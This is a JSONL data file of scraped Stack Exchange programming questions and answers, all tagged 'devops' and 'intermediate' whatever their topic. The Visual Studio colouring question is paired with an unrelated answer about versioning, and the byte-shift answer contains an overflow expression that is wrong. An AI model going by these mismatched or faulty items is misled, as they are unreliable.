{"id": "hf_229f0bec19bf", "question": "<p>I want to shift the contents of an array of bytes by 12-bit to the left.</p>\n\n<p>For example, starting with this array of type <code>uint8_t shift[10]</code>:</p>\n\n<pre><code>{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xBC}\n</code></pre>\n\n<p>I'd like to shift it to the left by 12-bits resulting in:</p>\n\n<pre><code>{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xC0, 0x00}\n</code></pre>\n", "question_body": "", "answer": "Lets make it the best way to shift\n```\nN\n```\nbits in the array of 8 bit integers.\n```\n```\nN            - Total number of bits to shift\nF = (N / 8) - Full 8 bit integers shifted\nR = (N % 8) - Remaining bits that need to be shifted\n```\n```\nI guess from here you would have to find the most optimal way to make use of this data to move around ints in an array.  Generic algorithms would be to apply the full integer shifts by starting from the right of the array and moving each integer\n```\nF\n```\nindexes.  Zero fill the newly empty spaces.  Then finally perform an\n```\nR\n```\nbit shift on all of the indexes, again starting from the right.\nIn the case of shifting\n```\n0xBC\n```\nby\n```\nR\n```\nbits you can calculate the overflow by doing a bitwise AND, and the shift using the bitshift operator:\n```\n```\n// 0xAB shifted 4 bits is:\n(0xAB & 0x0F) >> 4   // is the overflow      (0x0A)\n0xAB << 4            // is the shifted value (0xB0)\n```\n```\nKeep in mind that the 4 bits is just a simple mask: 0x0F or just 0b00001111.  This is easy to calculate, dynamically build, or you can even use a simple static lookup table.\nI hope that is generic enough.  I'm not good with C/C++ at all so maybe someone can clean up my syntax or be more specific.\nBonus:  If you're crafty with your C you might be able to fudge multiple array indexes into a single 16, 32, or even 64 bit integer and perform the shifts.  But that is prabably not very portable and I would recommend against this.  Just a possible optimization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.537108"}
{"id": "hf_921d21d690e9", "question": "<p>I know I can programatically make the taskbar item for a particular window start flashing when something changes, but is there any way I can stop it from flashing either programatically after a certain period of time or at least is there a keyboard shortcur I can give to my users to somehow stop the flashing?</p>\n", "question_body": "", "answer": "The\nFlashWindowEx\nfunction which controls the flashing takes a\nFLASHWINFO\nstruct which has a uCount field to control how many times it flashes.  Also, a possible value for the dwFlags field is FLASHW_STOP to cause the flashing to stop.\nEDIT: Forgot was a C# tagged question ... so\nP/Invoke goodness found here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.567675"}
{"id": "hf_429d392e45a6", "question": "<p>I'd like to write a game for the Nintendo Wii. How do I go about obtaining an SDK and/or any other tools necessary for writing a game?</p>\n", "question_body": "", "answer": "You would have to get in contact with Nintendo of America and obtain a developer kit from them. Be prepared to spend a wad of dough though.\nCheck this out:\nhttp://www.nintendo.com/corp/developer.jsp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.604896"}
{"id": "hf_987c2936eea9", "question": "<p>How do I cast an <code>int</code> to an <code>enum</code> in C#?</p>\n", "question_body": "", "answer": "From an int:\n```\n```\nYourEnum foo = (YourEnum)yourInt;\n```\n```\nFrom a string:\n```\n```\nYourEnum foo = (YourEnum) Enum.Parse(typeof(YourEnum), yourString);\n\n// The foo.ToString().Contains(\",\") check is necessary for \n// enumerations marked with a [Flags] attribute.\nif (!Enum.IsDefined(typeof(YourEnum), foo) && !foo.ToString().Contains(\",\"))\n{\n    throw new InvalidOperationException(\n        $\"{yourString} is not an underlying value of the YourEnum enumeration.\"\n    );\n}\n```\n```\nFrom a number:\n```\n```\nYourEnum foo = (YourEnum)Enum.ToObject(typeof(YourEnum), yourInt);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.629323"}
{"id": "hf_82ced4463f93", "question": "<p>If all you see is the ugly no-char boxes, what tools or strategies do you use to figure out what went wrong?</p>\n\n<p>(The specific scenario I'm facing is no-char boxes within a &lt;select&gt; when it should be showing Japanese chars.)</p>\n", "question_body": "", "answer": "Firstly, \"ugly no-char boxes\" might not be an encoding problem, they might just be a sign you don't have a font installed that can display the glyphs in the page.\nMost character encoding problems happen when strings are being passed from one system to another. For webapps, this is usually between the browser and the application, between the application and the filesystem and between the application and the database.\nSo you need to check where the mis-encoded data is coming from, what character encoding it has at the source, and what encoding it is being received as. The best way is to send through characters you know the system is having problems with, and examine them at each level of the app. What do they look like inside the app? In the database? When you get them back from the database? When they're displayed in the browser?\nSorry to be so general, but the question doesn't give much more to work with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.666030"}
{"id": "hf_7d7ed15938f3", "question": "<p>The log4j network adapter sends events as a serialised java object. I would like to be able to capture this object and deserialise it in a different language (python). Is this possible?</p>\n\n<p><em>NOTE</em> The network capturing is easy; its just a TCP socket and reading in a stream. The difficulty is the deserialising part</p>\n", "question_body": "", "answer": "Generally, no.\nThe stream format for Java serialization is defined\nin this document\n, but you need access to the original class definitions (and a Java runtime to load them into) to turn the stream data back into something approaching the original objects. For example, classes may define writeObject() and readObject() methods to customise their own serialized form.\n(\nedit:\nlubos hasko suggests having a little java program to deserialize the objects in front of Python, but the problem is that for this to work, your \"little java program\" needs to load the same versions of all the same classes that it might deserialize. Which is tricky if you're receiving log messages from one app, and really tricky if you're multiplexing more than one log stream. Either way, it's not going to be a little program any more.\nedit2:\nI could be wrong here, I don't know what gets serialized. If it's just log4j classes you should be fine. On the other hand, it's possible to log arbitrary exceptions, and if they get put in the stream as well my point stands.)\nIt would be much easier to customise the log4j network adapter and replace the raw serialization with some more easily-deserialized form (for example you could use XStream to turn the object into an XML representation)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.690956"}
{"id": "hf_c6afa2eafade", "question": "<p>In Ruby, trying to print out the individual elements of a String is giving me trouble. Instead of seeing each character, I'm seeing their ASCII values instead: </p>\n\n<pre><code>&gt;&gt; a = \"0123\"\n=&gt; \"0123\"\n&gt;&gt; a[0]\n=&gt; 48\n</code></pre>\n\n<p>I've looked online but can't find any way to get the original \"0\" back out of it. I'm a little new to Ruby to I know it has to be something simple but I just can't seem to find it.</p>\n", "question_body": "", "answer": "You want\n```\na[0,1]\n```\ninstead of\n```\na[0]\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.715688"}
{"id": "hf_3b27a963d24d", "question": "<p>Can anyone tell me what is the <em>memory usage overhead associated with PHP opcode cache</em>?  </p>\n\n<p>I've seen a lot of reviews of <code>opcode cache</code> but all of them only concentrate on the performance increase. I have a small entry level <em>VPS and memory limits</em> are a concern for me. </p>\n", "question_body": "", "answer": "Most of the memory overhead will come from the opcode cache size. Each opcode cacher has their own default(e.g. 30MB for APC) which you can change through the config file.\nOther than the cache size, the actual memory overhead of the cacher itself is negligible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.739668"}
{"id": "hf_6d93288e0624", "question": "<p>On Windows I can do:</p>\n\n<pre><code>HANDLE hCurrentProcess = GetCurrentProcess();\n\nSetPriorityClass(hCurrentProcess, ABOVE_NORMAL_PRIORITY_CLASS);\n</code></pre>\n\n<p>How can I do the same thing on *nix?</p>\n", "question_body": "", "answer": "Try:\n```\n```\n#include <sys/time.h>\n#include <sys/resource.h>\n\nint main(){\n    setpriority(PRIO_PROCESS, 0, -20);\n}\n```\n```\nNote that you must be running as superuser for this to work.\n(for more info, type 'man setpriority' at a prompt.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.846862"}
{"id": "hf_68814ab73c67", "question": "<p>I've writen an Excel-based, database reporting tool. Currentely, all the VBA code is associated with a single XLS file. The user generates the report by clicking a button on the toolbar. Unfortunately, unless the user has saved the file under another file name, all the reported data gets wiped-out.</p>\n\n<p>When I have created similar tools in Word, I can put all the code in a template (.dot) file and call it from there. If I put the template file in the Office startup folder, it will launch everytime I start Word. Is there a similar way, to package and distribute my code in Excel? I've tried using Add-ins, but I didn't find a way to call the code from the application window.</p>\n", "question_body": "", "answer": "You can modify the user's personal.xls file, stored in the excel startup directory (varies between Office versions). If you have lots of users though, that can be fiddly.\nAn alternative way to get over your problem is to store the macro in a template (.xlt) file. Then when the users opens it they can't save it back over the original file, but have to specify a new filename to save it as. The disadvantage of this method is that you then get multiple copies of your original code all over the place with each saved file. If you modify the original .xlt and someone reruns the old macro in a previously-saved .xls file then things can get out of step.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.897946"}
{"id": "hf_ea74664af292", "question": "<p>Okay, here's the scenario. I have a utility that processes tons of records, and enters information to the Database accordingly.</p>\n\n<p>It works on these records in multi-threaded batches. Each such batch writes to the same log file for creating a workflow trace for each record. Potentially, we could be making close to a million log writes in a day.</p>\n\n<p>Should this log be made into a database residing on another server? Considerations:</p>\n\n<ol>\n<li>The obvious disadvantage of multiple threads writing to the same log file is that the log messages are shuffled amongst each other. In the database, they can be grouped by batch id.</li>\n<li>Performance - which would slow down the batch processing more? writing to a local file or sending log data to a database on another server on the same network. Theoretically, the log file is faster, but is there a gotcha here?</li>\n</ol>\n\n<p>Are there any optimizations that can be done on either approach?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I think it depends greatly on what you are doing with the log files afterwards.\nOf the two operations writing to the log file will be faster - especially as you are suggesting writing to a database on another server.\nHowever if you are then trying to process and search the log files on a regular basis then the best place to do this would be a database.\nIf you use a logging framework like log4net they often provide simple config file based ways of redirecting input to file or database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.921612"}
{"id": "hf_8378830ea911", "question": "<p>I have a few lines of PowerShell code that I would like to use as an automated script. The way I would like it to be able to work is to be able to call it using one of the following options:</p>\n\n<ol>\n<li>One command line that opens PowerShell, executes script and closes PowerShell (this would be used for a global build-routine)</li>\n<li>A file that I can double-click to run the above (I would use this method when manually testing components of my build process)</li>\n</ol>\n\n<p>I have been going through PowerShell documentation online, and although I can find lots of scripts, I have been unable to find instructions on how to do what I need. Thanks for the help.</p>\n", "question_body": "", "answer": "Save your script as a .ps1 file and launch it using powershell.exe, like this:\n```\n```\npowershell.exe .\\foo.ps1\n```\n```\nMake sure you specify the full path to the script, and make sure you have set your execution policy level to at least \"RemoteSigned\" so that unsigned local scripts can be run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:08.945975"}
{"id": "hf_c44849217d76", "question": "<p>I have two machines in two different domains. On both I have VS 2005 installed. I want remote debug between them. Without authentication it is possible but I want to debug managed code. I don't want to debug directly since it is really crappy machine.</p>\n\n<p>When I try to attach with debugger I get message \"The trust relationship between this workstation and primary domain failed.\" Any idea how to overcome this ? I tried tricks with adding same local username on both machines but with no luck.</p>\n\n<p>EDIT: I have same local users on both machines. I started both VS2005 and Debugging monitor with RunAs using local users. I turned Windows Auditing on debug machine and I see that local user from VS2005 machine is trying to logon. But he fails with error 0xC000018D (ERROR_TRUSTED_RELATIONSHIP_FAILURE)</p>\n", "question_body": "", "answer": "I seem to remember that I have sometimes found it useful to use RunAs when you run msvcmon (or whatever it's called this week - the remote debugging stub anyway), to force it to start as the user which you have set up to be the same on both machines.\nI would guess that on the machine you're running VS on, you will also need to log in as the local user rather than a domain user (or start VS with RunAs).\nI have never understood why this needed to be so hard, given that unmanaged debugging is so much easier, and must expose every security hole that managed debugging could.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.018816"}
{"id": "hf_9df2fcb27345", "question": "<p>What should I do if I want to release a .net assembly but wish to keep its internals detailed in the manifest private (from a utility such as <a href=\"https://learn.microsoft.com/en-us/dotnet/framework/tools/ildasm-exe-il-disassembler\" rel=\"nofollow noreferrer\">ildasm.exe</a>) ?</p>\n", "question_body": "", "answer": "I think what you're talking about is \"obfuscation\".\nThere are lots of articles about it on the net:\nhttp://en.wikipedia.org/wiki/Obfuscation\nThe \"standard\" tool for obfuscation on .NET is by Preemptive Solutions:\nhttp://www.preemptive.com/obfuscator.html\nThey have a community edition that ships with Visual Studio which you can use.\nYou mentioned ILDasm, have you looked at the .NET Reflector?\nhttp://aisto.com/roeder/dotnet/\nIt gives you an even better idea as to what people can see if you release a manifest!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.047029"}
{"id": "hf_c98111e367db", "question": "<p>How do you stop the designer from auto generating code that sets the value for public properties on a user control?</p>\n", "question_body": "", "answer": "Add the following attributes to the property in your control:\n```\n```\n[Browsable(false), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.131390"}
{"id": "hf_6824399aba1d", "question": "<p>I am using jQuery and trying to find a cross browser way to get the pixel coordinates of the caret in <code>&lt;textarea&gt;</code>s and <code>input</code> boxes such that I can place an absolutely positioned div around this location.</p>\n\n<p>Is there some jQuery plugin? Or JavaScript snippet to do just that?</p>\n", "question_body": "", "answer": "Note: this answer describes how to get the\ncharacter co-ordinates\nof the text-cursor/caret. To find the pixel-co-ordinates, you'll need to extend this further.\nThe first thing to remember is that the cursor can be in three states\na regular insertion cursor at a specific position\na text selection that has a certain bounded area\nnot active: textarea does not have focus. Has not been used.\nThe IE model uses the Object\ndocument.selection\n, from this we can get a\nTextRange\nobject which gives us access to the selection and thus the cursor position(s).\nThe FF model/Opera uses the handy variables [input].selectionStart and selectionEnd.\nBoth models represent a regular ative cursor as a zero-width selection, with the left bound being the cursor position.\nIf the input field does not have focus, you may find that neither is set.\nI have had good success with the following code to insert a piece of text at the current cursor location, also replacing the current selection, if present.\nDepending on the exact browser, YMMV.\n```\n```\nfunction insertAtCursor(myField, myValue) {\n\n/* selecion model - ie */\nif (document.selection) {\n  myField.focus();\n  sel = document.selection.createRange();\n  sel.text = myValue;\n}\n\n/* field.selectionstart/end  firefox */ \nelse if (myField.selectionStart || myField.selectionStart == '0' ) {\n\n  var startPos = myField.selectionStart;\n  var endPos = myField.selectionEnd;\n  myField.value = myField.value.substring(0, startPos)\n    + myValue\n    + myField.value.substring(endPos, myField.value.length);\n\n  myField.selectionStart = startPos + myValue.length;\n  myField.selectionEnd = startPos + myValue.length;\n  myField.focus();\n} \n\n// cursor not active/present\nelse {\n  myField.value += myValue;\n}\n```\n```\nBug Note: links are not being correctly marked up in the top para.\nSelection object:\nhttp://msdn.microsoft.com/en-us/library/ms535869(VS.85).aspx\nTextRange object:\nhttp://msdn.microsoft.com/en-us/library/ms535872(VS.85).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.180863"}
{"id": "hf_a958444a2886", "question": "<p>I have done a bit of research into this and it seems that the only way to sort a data bound combo box is to sort the data source itself (a DataTable in a DataSet in this case).  </p>\n\n<p>If that is the case then the question becomes what is the best way to sort a DataTable?</p>\n\n<p>The combo box bindings are set in the designer initialize using</p>\n\n<p><pre><code>myCombo.DataSource = this.typedDataSet;\nmyCombo.DataMember = \"Table1\";\nmyCombo.DisplayMember = \"ColumnB\";\nmyCombo.ValueMember = \"ColumnA\";</pre></code></p>\n\n<p>I have tried setting\n<pre><code>this.typedDataSet.Table1.DefaultView.Sort = \"ColumnB DESC\";</pre></code>\nBut that makes no difference, I have tried setting this in the control constructor, before and after a typedDataSet.Merge call.</p>\n", "question_body": "", "answer": "Does the data need to be in a DataTable?\nUsing a SortedList and binding that to a combo box would be a simpler way.\nIf you need to use a DataTable you can use the Select method to retrieve a DataView and pass in a sort parameter.\n```\n```\nDataView dv = myDataTable.Select(\"filter expression\", \"sort\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.206050"}
{"id": "hf_09e9a5ce3cbb", "question": "<p>We're living in a golden age of databases, with numerous high quality commercial and free databases.  This is great, but the downside is there's not a simple obvious choice for someone who needs a database for his next project.</p>\n\n<ul>\n<li>What are the constraints/criteria you use for selecting a database?</li>\n<li>How well do the various databases you've used meet those constraints/criteria?</li>\n<li>What special features do the databases have?</li>\n<li>Which databases do you feel comfortable recommending to others? </li>\n</ul>\n\n<p>etc...</p>\n", "question_body": "", "answer": "I would think first on what the system requirements are for data access, data security, scalability, performance, disconnected scenarios, data transformation, data sizing.\nOn the other side, consider also the experience and background of developers, operators, platform administrators.\nYou should also think on what constraints you have regarding programming languages, operating systems, memory footprint, network bandwidth, hardware.\nLast, but not least, you have to think about business issues like budget for licences, support, operation.\nAfter all those considerations you should end up with just a couple of options and the selection should be easier.\nIn other words, select the technology that suits the best the constraints and needs of your organization and project.\nI certainly think that you are right on saying that it is not an obvious choice given the wide number of alternatives, but this is the only way I think you can narrow them to the ones that are really feasible for your project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.244417"}
{"id": "hf_b6b834cebe4e", "question": "<p>This seems to be an overlooked area that could really use some insight.  What are your best practices for:</p>\n\n<ul>\n<li>making an upgrade procedure</li>\n<li>backing out in case of errors</li>\n<li>syncing code and database changes</li>\n<li>testing prior to deployment</li>\n<li>mechanics of modifying the table</li>\n</ul>\n\n<p>etc...</p>\n", "question_body": "", "answer": "In general my rule is: \"The application should manage it's own schema.\"\nThis means schema upgrade scripts  are part of any upgrade package for the application and run automatically when the application starts.  In case of errors the application fails to start and the upgrade script transaction is not committed.  The downside to this is that the application has to have full modification access to the schema (this annoys DBAs).\nI've had great success using Hibernates SchemaUpdate feature to manage the table structures. Leaving the upgrade scripts to only handle actual data initialization and occasional removing of columns (SchemaUpdate doesn't do that).\nRegarding testing, since the upgrades are part of the application, testing them becomes part of the test cycle for the application.\nAfterthought: Taking on board some of the criticism in other posts here, note the rule says \"it's own\". It only really applies where the application\nowns\nthe schema as is generally the case with software sold as a product. If your software is sharing a database with other software, use other methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.269255"}
{"id": "hf_b7b0a7541bc7", "question": "<p>I'm looking for something that will show me the size of each folder within my main folder recursively.</p>\n\n<p>This is a <a href=\"http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29\" rel=\"nofollow noreferrer\">LAMP</a> server with a CGI-Bin so most any PHP script should work or anything that will work in the CGI-Bin.</p>\n\n<p>My hosting company does not provide an interface for me to see which folders are consuming the most amount of space.  I don't know of anything on the Internet and did a few searches however I came up with no results.  </p>\n\n<p>Something implementing graphs (<a href=\"http://en.wikipedia.org/wiki/GD_Graphics_Library\" rel=\"nofollow noreferrer\">GD</a>/<a href=\"http://en.wikipedia.org/wiki/ImageMagick\" rel=\"nofollow noreferrer\">ImageMagick</a>) would be best but not required.</p>\n\n<p>My host supports only Perl in the CGI-BIN.</p>\n", "question_body": "", "answer": "Strange, I came up on Google with\nmany relevant results\nand\nthis one\nis probably the most complete.\nThe function \"getDirectorySize\" will\n  ignore link/shorcuts to\n  files/directory. The function\n  \"sizeFormat\" will suffix the size with\n  bytes,KB,MB or GB accordingly.\nCode\n```\n```\nfunction getDirectorySize($path)\n{\n  $totalsize = 0;\n  $totalcount = 0;\n  $dircount = 0;\n  if ($handle = opendir ($path))\n  {\n    while (false !== ($file = readdir($handle)))\n    {\n      $nextpath = $path . '/' . $file;\n      if ($file != '.' && $file != '..' && !is_link ($nextpath))\n      {\n        if (is_dir ($nextpath))\n        {\n          $dircount++;\n          $result = getDirectorySize($nextpath);\n          $totalsize += $result['size'];\n          $totalcount += $result['count'];\n          $dircount += $result['dircount'];\n        }\n        elseif (is_file ($nextpath))\n        {\n          $totalsize += filesize ($nextpath);\n          $totalcount++;\n        }\n      }\n    }\n  }\n  closedir ($handle);\n  $total['size'] = $totalsize;\n  $total['count'] = $totalcount;\n  $total['dircount'] = $dircount;\n  return $total;\n}\n\nfunction sizeFormat($size)\n{\n    if($size<1024)\n    {\n        return $size.\" bytes\";\n    }\n    else if($size<(1024*1024))\n    {\n        $size=round($size/1024,1);\n        return $size.\" KB\";\n    }\n    else if($size<(1024*1024*1024))\n    {\n        $size=round($size/(1024*1024),1);\n        return $size.\" MB\";\n    }\n    else\n    {\n        $size=round($size/(1024*1024*1024),1);\n        return $size.\" GB\";\n    }\n\n}\n```\n```\nUsage\n```\n```\n$path=\"/httpd/html/pradeep/\";\n$ar=getDirectorySize($path);\n\necho \"<h4>Details for the path : $path</h4>\";\necho \"Total size : \".sizeFormat($ar['size']).\"<br>\";\necho \"No. of files : \".$ar['count'].\"<br>\";\necho \"No. of directories : \".$ar['dircount'].\"<br>\";\n```\n```\nOutput\n```\n```\nDetails for the path : /httpd/html/pradeep/\nTotal size : 2.9 MB\nNo. of files : 196\nNo. of directories : 20\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.294188"}
{"id": "hf_b5ec556c7f9b", "question": "<p>I use my mobile phone for connection to the internet on my laptop, I also have a wired connection to a LAN which doesn't have internet conectivity, it just has our TFS server on it.</p>\n\n<p>The problem is that I can't use the internet (from the phone) with the LAN cable plugged in. Is there a way to set the default route to my phone?</p>\n\n<p>I'm running Windows XP.</p>\n", "question_body": "", "answer": "There's many OS specific ways to force routing over specific interfaces. What OS are you using? XP? Vista? *nix?\nThe simplest way is to configure your network card with a static IP and NO GATEWAY, the only gateway (ie. internet access) your laptop will find is then via the mobile.\nThe disadvantage of this method is that you'll need to access your TFS server by IP address (or netbios name) as all DNS requests will be going out over the internet and not through your private LAN.\nEDIT: If you can't use the phone when the LAN is plugged in, that's because you've got it setup for DHCP and the DHCP server is advertising (incorrectly for you) that it will accept and route internet traffic. As previously mentioned, setup with a static IP and no gateway... if you insist on using DHCP you'll need to learn the ROUTE command in DOS, find the IP address of your phone (assuming it's acting as a router) set that as the default route, and remove whatever default route was assigned from the DHCP server.\nEDIT2: @dan - you can't use the internet from your phone directly (eg. mobile browser), or you can't make your laptop use your phone for internet when the cable is plugged in? (ie. routing issues) ... if it's the former, then your phone is probably configuring a PAN with your phone and trying to route internet back over the LAN\nEDIT @Jorge - IP routing is the responsibility of the network layer, not the application.  Go review the\nOSI model\n;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.382484"}
{"id": "hf_ea975ce2c100", "question": "<p>What are the strategies for versioning of a web application/ website?  </p>\n\n<p>I notice that here in the Beta there is an svn revision number in the footer and that's ideal for an application that uses svn over one repository. But what if you use externals or a different source control application that versions separate files?   </p>\n\n<p>It seems easy for a Desktop app, but I can't seem to find a suitable way of versioning for an asp.net web application. </p>\n\n<p><strong>NB</strong> I'm not sure that I have been totally clear with my question.</p>\n\n<ol>\n<li>What I want to know is how to build and auto increment a version number for an asp.net application.</li>\n<li>I'm not interested in how to link it with svn.</li>\n</ol>\n", "question_body": "", "answer": "For my big apps I just use a incrementing version number id (1.0, 1.1, ...) that i store in a comment of the main file (usually index.php).\nFor just websites I usually just have a revision number (1,2,3,...).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.408236"}
{"id": "hf_be081a89e83b", "question": "<p>I know the colours are changed in Environment > Fonts and Colors but I haven't found out which Display Item the object is.</p>\n\n<p>Can someone please tell how I can colour the following code:</p>\n\n<blockquote>\n  <p>lblMessage.Text = \"You have successfully answered my question!\"</p>\n</blockquote>\n\n<p>I have the string coloured pink, I would like the lblMessage purple and the .Text a light green.</p>\n\n<p>For me the darker the colour the less it will \"change\". I won't often change object names, I'll more often change properties and am always changing strings - although I have another question about this that I'll post later.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "For my big apps I just use a incrementing version number id (1.0, 1.1, ...) that i store in a comment of the main file (usually index.php).\nFor just websites I usually just have a revision number (1,2,3,...).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.433490"}
{"id": "hf_ca7ca51695af", "question": "<p>What's needed to succesfully make a crossdomain call from Silverlight?</p>\n", "question_body": "", "answer": "If I understand your question correctly you would need to have a clientaccesspolicy.xml file in the domain web root of the server that you wish to call (ie www.example.com/clientaccesspolicy.xml) that defines that it is ok for services from other domains to call services on that domain.\nRead the\nHow to Make a Service Available Across Domain Boundaries\nMSDN article for more detailed information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.471356"}
{"id": "hf_5859897d872e", "question": "<p>Around here we have been working with a bunch of Visual Source Safe repositories for about 10 years or so. </p>\n\n<p>Now I want to get rid of sourcesafe and move on to Team Foundation Server.</p>\n\n<p>Do you have any tips or tricks for me before I embark on this migration? What are the things I have to be careful about? </p>\n\n<p>I am sure this migration will mean that our working habits have to be modified in some way. Do you think that these changes could be a problem for the organization? Think about a group of about 20 .NET developers in a single site.</p>\n", "question_body": "", "answer": "I just googled, but\nthis walkthrough\nseems like a good reference, and it mentions the tool VSSConverter which should help you make the migration as painless as possible.\nI would like to recommend one thing though: Backup. Backup everything before you do this. Should anything go wrong it's better to be safe than sorry.\nMy links aren't showing up. This is the address:\nhttp://msdn.microsoft.com/en-us/library/ms181247(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:09.521433"}
